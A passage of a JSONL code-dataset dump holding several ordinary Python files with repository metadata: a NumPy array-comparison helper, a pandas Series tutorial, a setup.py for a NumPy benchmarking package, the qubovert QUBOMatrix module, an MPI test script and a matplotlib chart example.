0.11436852618181248, "lm_q1q2_score": 0.05450571230039508}}
{"text": "import numpy as np\n\n\ndef assert_equal(A: np.ndarray, B: np.ndarray):\n    \"\"\"Asserts that the arrays A and B are the same. Verifies and throws\n    exceptions if the following are not the same:\n\n    * Dimensions;\n\n    * Shape;\n\n    * Values\n    \"\"\"\n\n    if A.ndim != B.ndim:\n        raise ValueError(\"A has different dimension of B.\")\n\n    if A.shape != B.shape:\n        raise ValueError(\"A has different shape of B.\")\n\n    if not np.allclose(A, B):\n        raise ValueError(\"A is not equal to B.\")\n", "meta": {"hexsha": "bd6b9d25b320d0b1c82d4e26958be2658b53ccc4", "size": 497, "ext": "py", "lang": "Python", "max_stars_repo_path": "pysoc/utils/__init__.py", "max_stars_repo_name": "victoraalves/pySOC", "max_stars_repo_head_hexsha": "9a5853d4447f192b3c19da11a5a2ebf52929d5a5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pysoc/utils/__init__.py", "max_issues_repo_name": "victoraalves/pySOC", "max_issues_repo_head_hexsha": "9a5853d4447f192b3c19da11a5a2ebf52929d5a5", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pysoc/utils/__init__.py", "max_forks_repo_name": "victoraalves/pySOC", "max_forks_repo_head_hexsha": "9a5853d4447f192b3c19da11a5a2ebf52929d5a5", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.6086956522, "max_line_length": 72, "alphanum_fraction": 0.6197183099, "include": true, "reason": "import numpy", "num_tokens": 120, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.11436852467249822, "lm_q1q2_score": 0.05450571158108662}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 18 17:24:04 2018\n\n@author: SilverDoe\n\"\"\"\n\n'''\n>>Pandas is an open-source Python Library used for high-performance data manipulation\n and data analysis using its powerful data structures.\n \n>> It can load, organize, manipulate, model, and analyse the data.\n\n>> Python deals with the following data structures :\n    \n    1. Series - 1D labeled homogeneous array, sizeimmutable, value mutable.\n    2. DataFrame - General 2D labeled, value and size-mutable tabular structure with potentially heterogeneously typed columns.\n    3. Panel - General 3D labeled, value and size-mutable array.\n    \n    higher dimensional data structure is a container of its lower dimensional data structure\n    ========================================================================================\n    >>DataFrame is a container of Series.\n    >>Panel is a container of DataFrame.\n    \n    \n    \n============================== Series =========================================\n\npandas.Series( data, index, dtype, copy)\npandas.Series(data=None, index=None, dtype=None, name=None, copy=False, fastpath=False)\n\nparameters\n==========\n\t\n1. data : data takes various forms like ndarray, list, constants.\n\n2. index : Index values must be unique and hashable, same length as data. Default\n           np.arrange(n) if no index is passed.\n     \n3. \tdtype : dtype is for data type. If None, data type will be inferred.\n\n4. copy : Copy data. Default False\n'''\n#=============== Empty Series =================================================\n\nimport pandas as pd\ns = pd.Series()\nprint(s)\n\n\n#============= Series from ndarray ============================================\n\n# no index passed\nimport pandas as pd\nimport numpy as np\ndata = np.array(['a','b','c','d'])\ns = pd.Series(data)\nprint(s)\n\n# index passed\nimport pandas as pd\nimport numpy as np\ndata = np.array(['a','b','c','d'])\ns = pd.Series(data,index=[100,101,102,103])\nprint(s)\n\n#========== Series from Dictionary ============================================\n\n#No index given. Dictionary keys are used to construct index\nimport pandas as pd\ndata = {'a' : 0., 'b' : 1., 'c' : 2.}\ns = pd.Series(data)\nprint(s)\n\n#Index given. Index order is persisted and the missing element is filled with NaN\nimport pandas as pd\ndata = {'a' : 0., 'b' : 1., 'c' : 2.}\ns = pd.Series(data,index=['b','c','d','a'])\nprint(s)\n\n#=========== Series from Scalar ===============================================\n\nimport pandas as pd\ns = pd.Series(5, index=[0, 1, 2, 3])\nprint(s)\n\n#=========== Accessing data from series with position or index ================\nimport pandas as pd\ns = pd.Series([1,2,3,4,5],index = ['a','b','c','d','e'])\n\n#retrieve data\nprint(s[0]) # using position\nprint(s['b']) # using index\nprint(s[:3]) # retreiving the first 3 elements in the series\nprint(s[-3:]) # last three elements\nprint(s[['a','c','d']]) # retreiving multiple values\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "d80c97262535650da0648caabe2bf9bc70a2603c", "size": 2930, "ext": "py", "lang": "Python", "max_stars_repo_path": "2_Python Advanced/8_Pandas/1_PandasIntro.py", "max_stars_repo_name": "Arunken/PythonScripts", "max_stars_repo_head_hexsha": "702d0a3af7a9be3311f9da0afc5285d453f15484", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "2_Python Advanced/8_Pandas/1_PandasIntro.py", "max_issues_repo_name": "Arunken/PythonScripts", "max_issues_repo_head_hexsha": "702d0a3af7a9be3311f9da0afc5285d453f15484", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-06-02T00:58:47.000Z", "max_issues_repo_issues_event_max_datetime": "2021-06-02T00:58:47.000Z", "max_forks_repo_path": "2_Python Advanced/8_Pandas/1_PandasIntro.py", "max_forks_repo_name": "Arunken/PythonScripts", "max_forks_repo_head_hexsha": "702d0a3af7a9be3311f9da0afc5285d453f15484", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.5384615385, "max_line_length": 127, "alphanum_fraction": 0.5740614334, "include": true, "reason": "import numpy", "num_tokens": 696, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.11920291576401233, "lm_q1q2_score": 0.05449202954862502}}
{"text": "\"\"\"setup.py for building numpy-api-bench package.\r\n\r\nExtension modules require setup.py so we can't use PEP 517 setup.cfg.\r\n\r\n.. codeauthor:: Derek Huang <djh458@stern.nyu.edu>\r\n\"\"\"\r\n\r\nfrom numpy import get_include\r\nimport platform\r\nfrom setuptools import Extension, find_packages, setup\r\n\r\nfrom npapibench import __package__, __version__\r\n\r\n# package name (underscores converted to dashes anyways in PyPI) + short desc\r\n_PACKAGE_NAME = \"numpy-api-bench\"\r\n_SHORT_DESC = (\r\n    \"A small Python package showcasing speed differences between NumPy's \"\r\n    \"Python and C APIs.\"\r\n)\r\n# include paths for functimer subpackage header files and for NumPy headers\r\n_FUNCTIMER_INCLUDE_DIR = f\"{__package__}/functimer/include\"\r\n_NUMPY_INCLUDE_DIR = get_include()\r\n\r\n# extra extension compilation args. must specify C99+ for older Linux gccs.\r\nif platform.system() == \"Windows\":\r\n    _EXTRA_COMPILE_ARGS = [\"/std:c11\"]\r\nelse:\r\n    _EXTRA_COMPILE_ARGS = [\"-std=c11\"]\r\n\r\n\r\ndef _get_ext_modules():\r\n    \"\"\"Returns a list of setuptools.Extension modules to build.\r\n    \r\n    .. note::\r\n\r\n       The extensions must be true modules, i.e. define a ``PyInit_*``\r\n       function. Use alternate means to build foreign C code.\r\n    \"\"\"\r\n    # use get_include to get numpy include directory + add -std=gnu11 so that\r\n    # the extension will build on older distros with old gcc like 4.8.2\r\n    return [\r\n        # C implementation of the stdscale function in pyimpl\r\n        Extension(\r\n            name=\"cimpl\",\r\n            sources=[f\"{__package__}/cimpl.c\"],\r\n            include_dirs=[_NUMPY_INCLUDE_DIR],\r\n            extra_compile_args=_EXTRA_COMPILE_ARGS\r\n        ),\r\n        # _timeapi module of the functimer subpackage\r\n        Extension(\r\n            name=\"functimer._timeapi\",\r\n            sources=[f\"{__package__}/functimer/_timeapi.c\"],\r\n            include_dirs=[_FUNCTIMER_INCLUDE_DIR, _NUMPY_INCLUDE_DIR],\r\n            extra_compile_args=_EXTRA_COMPILE_ARGS\r\n        ),\r\n        # _timeresult module of the functimer subpackage\r\n        Extension(\r\n            name=\"functimer._timeresult\",\r\n            sources=[f\"{__package__}/functimer/_timeresult.c\"],\r\n            include_dirs=[_FUNCTIMER_INCLUDE_DIR, _NUMPY_INCLUDE_DIR],\r\n            extra_compile_args=_EXTRA_COMPILE_ARGS\r\n        ),\r\n        # _timeunit module of the functimer subpackage\r\n        Extension(\r\n            name=\"functimer._timeunit\",\r\n            sources=[f\"{__package__}/functimer/_timeunit.c\"],\r\n            include_dirs=[_FUNCTIMER_INCLUDE_DIR],\r\n            extra_compile_args=_EXTRA_COMPILE_ARGS\r\n        )\r\n    ]\r\n\r\n\r\ndef _setup():\r\n    # get long description from README.rst\r\n    with open(\"README.rst\", \"r\") as rf:\r\n        long_desc = rf.read()\r\n    # perform setup\r\n    setup(\r\n        name=_PACKAGE_NAME,\r\n        version=__version__,\r\n        description=_SHORT_DESC,\r\n        long_description=long_desc,\r\n        long_description_content_type=\"text/x-rst\",\r\n        author=\"Derek Huang\",\r\n        author_email=\"djh458@stern.nyu.edu\",\r\n        license=\"MIT\",\r\n        url=\"https://github.com/phetdam/numpy-api-bench\",\r\n        classifiers=[\r\n            \"License :: OSI Approved :: MIT License\",\r\n            \"Operating System :: POSIX :: Linux\",\r\n            \"Operating System :: Microsoft :: Windows\",\r\n            \"Operating System :: MacOS\",\r\n            \"Programming Language :: Python :: 3.6\",\r\n            \"Programming Language :: Python :: 3.7\",\r\n            \"Programming Language :: Python :: 3.8\",\r\n            \"Programming Language :: Python :: 3.9\"\r\n        ],\r\n        project_urls={\"Source\": \"https://github.com/phetdam/numpy-api-bench\"},\r\n        python_requires=\">=3.6\",\r\n        packages=find_packages(),\r\n        # benchmarking script\r\n        entry_points={\r\n            \"console_scripts\": [f\"{__package__} = {__package__}.bench:main\"]\r\n        },\r\n        install_requires=[\"numpy>=1.19\"],\r\n        extras_require={\"tests\": [\"pytest>=6.0.1\"]},\r\n        ext_package=__package__,\r\n        ext_modules=_get_ext_modules()\r\n    )\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    _setup()", "meta": {"hexsha": "713d39012758336cbdf7975cd26fa17b9a15e437", "size": 4071, "ext": "py", "lang": "Python", "max_stars_repo_path": "setup.py", "max_stars_repo_name": "phetdam/numpy-api-bench", "max_stars_repo_head_hexsha": "f80b104c464111a5678d7a657128cbff0497830c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-01T07:35:29.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-01T07:35:29.000Z", "max_issues_repo_path": "setup.py", "max_issues_repo_name": "phetdam/numpy-api-bench", "max_issues_repo_head_hexsha": "f80b104c464111a5678d7a657128cbff0497830c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "setup.py", "max_forks_repo_name": "phetdam/numpy-api-bench", "max_forks_repo_head_hexsha": "f80b104c464111a5678d7a657128cbff0497830c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.0265486726, "max_line_length": 79, "alphanum_fraction": 0.6222058462, "include": true, "reason": "from numpy", "num_tokens": 936, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3486451353339458, "lm_q2_score": 0.15610489940847916, "lm_q1q2_score": 0.05442521378056121}}
{"text": "#   Copyright 2020 Joseph T. Iosue\n#\n#   Licensed under the Apache License, Version 2.0 (the \"License\");\n#   you may not use this file except in compliance with the License.\n#   You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#   Unless required by applicable law or agreed to in writing, software\n#   distributed under the License is distributed on an \"AS IS\" BASIS,\n#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#   See the License for the specific language governing permissions and\n#   limitations under the License.\n\n\"\"\"_qubomatrix.py.\n\nThis file contains the QUBOMatrix object.\n\n\"\"\"\n\nimport numpy as np\nfrom . import PUBOMatrix, qubo_value, solve_qubo_bruteforce\n\n\n__all__ = 'QUBOMatrix', 'matrix_to_qubo', 'qubo_to_matrix'\n\n\nclass QUBOMatrix(PUBOMatrix):\n    \"\"\"QUBOMatrix.\n\n    ``QUBOMatrix`` inherits some methods from ``PUBOMatrix``, see\n    ``help(qubovert.utils.PUBOMattrix)``.\n\n    A class to handle QUBO matrices. It is the same thing as a dictionary\n    with some methods modified. Note that each key must be a tuple of two\n    integers >= 0.\n\n    One method is that values will always default to 0. Consider the following\n    example:\n\n    >>> d = QUBOMatrix()\n    >>> print(d[(0,)]) # will print 0\n    >>> d[(0,)] += 1\n    >>> print(d) # will print {(0,): 1}\n\n    Compared to an ordinary dictionary.\n\n    >>> g = dict()\n    >>> print(g[(0,)]) # will raise KeyError\n    >>> g[(0,)] += 1 # will raise KeyError, since (0,) was never set\n\n    One method of QUBOMatrix is that it will always keep the QUBO\n    upper triangular! Consider the following example:\n\n    >>> d = QUBOMatrix()\n    >>> d[(1, 0)] += 2\n    >>> print(d)\n    >>> # will print {(0, 1): 2}\n\n    One method is that if we set an item to 0, it will be removed. Consider\n    the following example:\n\n    >>> d = QUBOMatrix()\n    >>> d[(0,)] += 1\n    >>> d[(0,)] -= 1\n    >>> print(d) # will print {}\n\n    One method is that if we initialize QUBOMatrix with a previous dictionary\n    it will be reinitialized to ensure that the QUBOMatrix is upper\n    triangular and contains no zero values. Consider the following example:\n\n    >>> d = QUBOMatrix({(0, 0): 1, (1, 0): 2, (2, 0): 0})\n    >>> print(d) # will print {(0, 0): 1, (0, 1): 2}\n\n    We also change the update method so that it follows all the conventions.\n\n    >>> d = QUBOMatrix({(0, 0): 1, (0, 1): 2})\n    >>> d.update({(0, 0): 0, (1, 0): 1, (1, 1): -1})\n    >>> print(d)  # will print {(0, 1): 1, (1,): -1}\n\n    We also include arithmetic, addition, subtraction, scalar division,\n    multiplication, and all those in place. For example,\n\n    >>> d = QUBOMatrix((0, 0)=1, (0, 1)=-2)\n    >>> g = d + {(0, 0): -1}\n    >>> print(g) # will print {(0, 1): -2}\n    >>> g *= 4\n    >>> print(g) # will print {(0, 1): -8}\n    >>> g -= {(0, 1): -8}\n    >>> print(g) # will print {}\n\n    >>> d = QUBOMatrix({(0, 0): 1, (0, 1): -1})\n    >>> g = {(0,): -1, (1,): 1}\n    >>> d *= g\n    >>> print(d)\n    {(0,): -1, (0, 1): 1}\n\n    >>> d = QUBOMatrix({(0, 0): 1, (0, 1): -1})\n    >>> print(d ** 2 == d * d)\n    True\n\n    Adding or subtracting constants will update the () element of the\n    dict.\n\n    >>> d = QUBOMatrix()\n    >>> d += 5\n    >>> print(d)\n    {(): 5}\n\n    Finally, if you try to access a key out of order, it will sort and squash\n    the key. Be careful with this, it can cause unexpected behavior if you\n    don't know it. For example,\n\n    >>> d = QUBOMatrix()\n    >>> d[(0, 1)] += 2\n    >>> print(d[(1, 0)])  # will print 2\n\n    >>> d = QUBOMatrix()\n    >>> d[(0, 0)] += 2\n    >>> print(d[(0,)])  # will print 2\n    >>> print(d[(0, 0)])  # will print 2\n    >>> print(d)  # will print {(0,): 2}\n\n    \"\"\"\n\n    @staticmethod\n    def _check_key_valid(key):\n        \"\"\"_check_key_valid.\n\n        Internal method to check if an input key to the dictionary is valid.\n        Checks to see if ``key`` is a tuple of non negative integers with <=\n        2 unique integers.\n\n        Parameters\n        ----------\n        key : anything, but must be a tuple to be valid.\n\n        Returns\n        -------\n        k : the squashed key.\n\n        Raises\n        ------\n        KeyError if the key is invalid.\n\n        \"\"\"\n        k = PUBOMatrix.squash_key(key)\n        if len(k) > 2:\n            raise KeyError(\n                \"Key formatted incorrectly, must be tuple of <= 2 integers \"\n                \"See PUBOMatrix instead.\")\n        return k\n\n    def value(self, x):\n        r\"\"\"value.\n\n        Find the value of the QUBO. Calling\n        ``self.value(x)`` is the same as calling\n        ``qubovert.utils.qubo_value(x, self)``.\n\n        Parameters\n        ----------\n        x : dict or iterable.\n            Maps boolean variable indices to their boolean values, 0 or 1. Ie\n            ``x[i]`` must be the boolean value of variable i.\n\n        Return\n        ------\n        value : float.\n            The value of the QUBO with the given assignment `x`. Ie\n\n        Example\n        -------\n        >>> from qubovert.utils import QUBOMatrix, PUBOMatrix\n        >>> from qubovert import QUBO, PUBO\n\n        >>> P = PUBOMatrix({(0, 0): 1, (0, 1): -1})\n        >>> x = {0: 1, 1: 0}\n        >>> P.value(x)\n        1\n\n        >>> Q = QUBOMatrix({(0, 0): 1, (0, 1): -1})\n        >>> x = {0: 1, 1: 0}\n        >>> Q.value(x)\n        1\n\n        >>> P = PUBO({(0, 0): 1, (0, 1): -1})\n        >>> x = {0: 1, 1: 0}\n        >>> P.value(x)\n        1\n\n        >>> Q = QUBO({(0, 0): 1, (0, 1): -1})\n        >>> x = {0: 1, 1: 0}\n        >>> Q.value(x)\n        1\n\n        \"\"\"\n        return qubo_value(x, self)\n\n    def solve_bruteforce(self, all_solutions=False):\n        \"\"\"solve_bruteforce.\n\n        Solve the problem bruteforce. THIS SHOULD NOT BE USED FOR LARGE\n        PROBLEMS! This is the exact same as calling\n        ``qubovert.utils.solve_qubo_bruteforce(\n            self, all_solutions, self.is_solution_valid)[1]``.\n\n        Parameters\n        ----------\n        all_solutions : bool.\n            See the description of the ``all_solutions`` parameter in\n            ``qubovert.utils.solve_qubo_bruteforce``.\n\n        Return\n        ------\n        res : the second element of the two element tuple that is returned from\n            ``qubovert.utils.solve_qubo_bruteforce``.\n\n        \"\"\"\n        return solve_qubo_bruteforce(self,\n                                     all_solutions, self.is_solution_valid)[1]\n\n    @property\n    def Q(self):\n        \"\"\"Q.\n\n        Return a plain dictionary representing the QUBO. Each key is a tuple\n        of two integers, ie (1, 1) corresponds to (1,). Note that the offset\n        in the QUBOMatrix is ignored (ie the value corresponding to the key\n        ()). See the ``offset`` property to access it.\n\n        Returns\n        -------\n        Q : dict.\n            Plain dictionary representing the QUBO in standard form.\n\n        \"\"\"\n        return {k * (3 - len(k)): v for k, v in self.items() if k}\n\n\ndef matrix_to_qubo(matrix):\n    r\"\"\"matrix_to_qubo.\n\n    Convert a matrix to a QUBO dictionary.\n\n    Parameters\n    ----------\n    matrix : list of lists or 2-dimensional numpy array.\n        ``matrix[i][j]`` is equal to :math:`Q_{ij}`.\n\n    Return\n    ------\n    Q : qubovert.utils.QUBOMatrix object.\n       The upper triangular QUBO dictionary. See\n       ``help(qubovert.utils.QUBOMatrix)``.\n\n    \"\"\"\n    if not isinstance(matrix, np.ndarray):\n        matrix = np.array(matrix)\n\n    if len(matrix.shape) != 2 or matrix.shape[0] != matrix.shape[1]:\n        raise ValueError(\"Input matrix must be square and two-dimensional\")\n\n    Q = QUBOMatrix()\n    for i in range(matrix.shape[0]):\n        for j in range(matrix.shape[1]):\n            Q[(i, j)] += matrix[i][j]\n\n    return Q\n\n\ndef qubo_to_matrix(Q, symmetric=False, array=True):\n    r\"\"\"qubo_to_matrix.\n\n    Convert a QUBO dictionary to its matrix form. The indices of the ``Q``\n    dictionary should be integers from 0 to ``n-1``, where there are ``n``\n    binary variables in the QUBO problem.\n\n    Parameters\n    ----------\n    Q : dict or qubovert.utils.QUBOMatrix object.\n        Input QUBO dictionary, where ``Q[(i, j)]`` corresponds to\n        :math:`Q_{ij}`.\n    symmetric : bool (optional, defaults to False).\n        Whether the returned matrix should be symmetric or upper-triangular.\n        If ``symmetric`` is True, then the matrix will be symmetric, ie\n        ``matrix[i][j] == matrix[j][i]``. Otherwise, it will be\n        upper-triangular, ie ``marix[i][j] == 0`` if ``i > j``.\n    array : bool (optional, defaults to True).\n        Whether the returned matrix should be a numpy array or list of lists.\n        If ``array`` is True, then it will be a numpy array, otherwise, it\n        will be a list of lists.\n\n    Return\n    ------\n    matrix : numpy array or list of lists.\n        The matrix representing the QUBO. See the arguments ``symmetric`` and\n        ``array`` for info on the return type of ``matrix``.\n\n    \"\"\"\n    if not Q:\n        raise ValueError(\"QUBO dictionary is empty\")\n    elif not isinstance(Q, QUBOMatrix):\n        Q = QUBOMatrix(Q)\n\n    if Q[()] != 0:\n        raise ValueError(\"QUBO cannot have a constant when converting \"\n                         \"to a matrix\")\n\n    matrix = np.zeros((Q.max_index+1,)*2)\n    for k, v in Q.items():\n        if len(k) == 1:\n            matrix[k[0]][k[0]] = v\n        elif symmetric:\n            i, j = k\n            matrix[i][j] = v / 2\n            matrix[j][i] = v / 2\n        else:\n            i, j = k\n            matrix[i][j] = v\n\n    if not array:\n        return matrix.tolist()\n    return matrix\n", "meta": {"hexsha": "48d26a45f23e0e381cae24ed775677eeee002985", "size": 9582, "ext": "py", "lang": "Python", "max_stars_repo_path": "qubovert/utils/_qubomatrix.py", "max_stars_repo_name": "panaali/qubovert", "max_stars_repo_head_hexsha": "d5ea46349d2a058954fb2cb06f559c0d3fb382c5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 15, "max_stars_repo_stars_event_min_datetime": "2020-07-10T20:46:50.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-29T05:01:55.000Z", "max_issues_repo_path": "qubovert/utils/_qubomatrix.py", "max_issues_repo_name": "panaali/qubovert", "max_issues_repo_head_hexsha": "d5ea46349d2a058954fb2cb06f559c0d3fb382c5", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 13, "max_issues_repo_issues_event_min_datetime": "2020-02-07T00:10:31.000Z", "max_issues_repo_issues_event_max_datetime": "2020-04-05T22:58:55.000Z", "max_forks_repo_path": "qubovert/utils/_qubomatrix.py", "max_forks_repo_name": "panaali/qubovert", "max_forks_repo_head_hexsha": "d5ea46349d2a058954fb2cb06f559c0d3fb382c5", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2020-05-13T06:02:38.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-22T20:45:23.000Z", "avg_line_length": 29.4830769231, "max_line_length": 79, "alphanum_fraction": 0.554894594, "include": true, "reason": "import numpy", "num_tokens": 2754, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.1097057796995814, "lm_q1q2_score": 0.0544243603662584}}
{"text": "# pylint: disable=missing-function-docstring, missing-module-docstring/\n# coding: utf-8\n\nfrom pyccel.stdlib.internal.mpi import mpi_init\nfrom pyccel.stdlib.internal.mpi import mpi_finalize\nfrom pyccel.stdlib.internal.mpi import mpi_comm_size\nfrom pyccel.stdlib.internal.mpi import mpi_comm_rank\nfrom pyccel.stdlib.internal.mpi import mpi_comm_world\nfrom pyccel.stdlib.internal.mpi import mpi_status_size\nfrom pyccel.stdlib.internal.mpi import mpi_recv\nfrom pyccel.stdlib.internal.mpi import mpi_send\nfrom pyccel.stdlib.internal.mpi import mpi_type_vector\nfrom pyccel.stdlib.internal.mpi import mpi_type_commit\nfrom pyccel.stdlib.internal.mpi import mpi_type_free\nfrom pyccel.stdlib.internal.mpi import MPI_INTEGER8\n\nimport numpy as np\n\nif __name__ == '__main__':\n    # we need to declare these variables somehow,\n    # since we are calling mpi subroutines\n    ierr = np.int32(-1)\n    sizes = np.int32(-1)\n    rank = np.int32(-1)\n\n    mpi_init(ierr)\n\n    comm = mpi_comm_world\n\n    mpi_comm_size (comm, sizes, ierr)\n    mpi_comm_rank (comm, rank, ierr)\n\n    nb_lines   = np.int32(3)\n    nb_columns = np.int32(4)\n    tag        = np.int32(100)\n\n    a      = np.zeros ((nb_lines, nb_columns), 'int')\n    status = np.zeros (mpi_status_size, 'int32')\n\n    # Initialization of the matrix on each process\n    a[:,:] = 1000 + rank\n\n    # Definition of the type_line datatype\n    blocklength = np.int32(1)\n    type_line = np.int32(-1)\n    mpi_type_vector (nb_columns, blocklength, nb_lines, MPI_INTEGER8, type_line, ierr)\n\n    # Validation of the type_line datatype\n    mpi_type_commit (type_line, ierr)\n\n    # Sending of the first column\n    if ( rank == 0 ):\n        dest = np.int32(1)\n        mpi_send (a[1,0], nb_columns, MPI_INTEGER8, dest, tag, comm , ierr)\n\n    # Reception in the last column\n    if ( rank == 1 ):\n        count  = np.int32(1)\n        source = np.int32(0)\n        mpi_recv (a[nb_lines-1,0], count, type_line, source, tag, comm, status, ierr)\n\n    print('I process ', rank, ', has a = ', a)\n\n    # Free the datatype\n    mpi_type_free (type_line, ierr)\n\n    mpi_finalize(ierr)\n", "meta": {"hexsha": "66f490d3a8392316a2319a9fdac3a85e584c0019", "size": 2090, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/internal/scripts/mpi/line.py", "max_stars_repo_name": "nandiniraja348/pyccel", "max_stars_repo_head_hexsha": "d857efcb8ff327f72473daeb86903c7e9ef93a36", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2017-08-31T14:11:55.000Z", "max_stars_repo_stars_event_max_datetime": "2018-03-05T04:47:58.000Z", "max_issues_repo_path": "tests/internal/scripts/mpi/line.py", "max_issues_repo_name": "nandiniraja348/pyccel", "max_issues_repo_head_hexsha": "d857efcb8ff327f72473daeb86903c7e9ef93a36", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/internal/scripts/mpi/line.py", "max_forks_repo_name": "nandiniraja348/pyccel", "max_forks_repo_head_hexsha": "d857efcb8ff327f72473daeb86903c7e9ef93a36", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2018-02-13T23:46:49.000Z", "max_forks_repo_forks_event_max_datetime": "2018-02-13T23:46:49.000Z", "avg_line_length": 30.7352941176, "max_line_length": 86, "alphanum_fraction": 0.7009569378, "include": true, "reason": "import numpy", "num_tokens": 583, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10970577096716555, "lm_q1q2_score": 0.05442435603416078}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 13 20:10:07 2021\n\n@author: surajitrana\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef plot_chart():\n    x_series = np.array([\"May 01, 2021\", \"May 10, 2021\",\n                        \"May 20, 2021\", \"May 29, 2021\", \"June 01, 2021\"])\n    y_series = np.array([120, 457, 897, 23, 0])\n\n    # Creating font styles for title and axes labels\n    fonttitle = {'family': 'arial', 'color': 'green', 'size': 20}\n    fontx = {'family': 'serif', 'color': 'blue', 'size': 15}\n    fonty = {'family': 'serif', 'color': 'darkred', 'size': 15}\n\n    # Creating title and axes labels and assigning font styles\n    plt.title(\"Total sales over a period of time (in millions)\",\n              fontdict=fonttitle, loc=\"left\", pad=\"20\")\n    plt.xlabel(\"Timeline\", fontdict=fontx)\n    plt.ylabel(\"Total Sales\", fontdict=fonty)\n\n    # Adding grids to the plot\n    plt.grid(axis=\"both\", color=\"blue\", linestyle=\"--\", linewidth=\"1\")\n\n    plt.plot(x_series, y_series, linestyle=\"-.\",\n             color=\"hotpink\", linewidth=\"3\", marker=\"o\")\n    plt.show()\n\n\nif __name__ == '__main__':\n    plot_chart()\n", "meta": {"hexsha": "94b2382a7430b4a12fe54ad202969a852e335822", "size": 1154, "ext": "py", "lang": "Python", "max_stars_repo_path": "line-charts/09. line-chart-labels.py", "max_stars_repo_name": "surajitrana1985/python-matplotlib", "max_stars_repo_head_hexsha": "41941a05e5ecc00b2e7fd5bbc49e482380f4f0be", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "line-charts/09. line-chart-labels.py", "max_issues_repo_name": "surajitrana1985/python-matplotlib", "max_issues_repo_head_hexsha": "41941a05e5ecc00b2e7fd5bbc49e482380f4f0be", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "line-charts/09. line-chart-labels.py", "max_forks_repo_name": "surajitrana1985/python-matplotlib", "max_forks_repo_head_hexsha": "41941a05e5ecc00b2e7fd5bbc49e482380f4f0be", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.5897435897, "max_line_length": 73, "alphanum_fraction": 0.6031195841, "include": true, "reason": "import numpy", "num_tokens": 343, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10970577096716554, "lm_q1q2_score": 0.05442435603416077}}
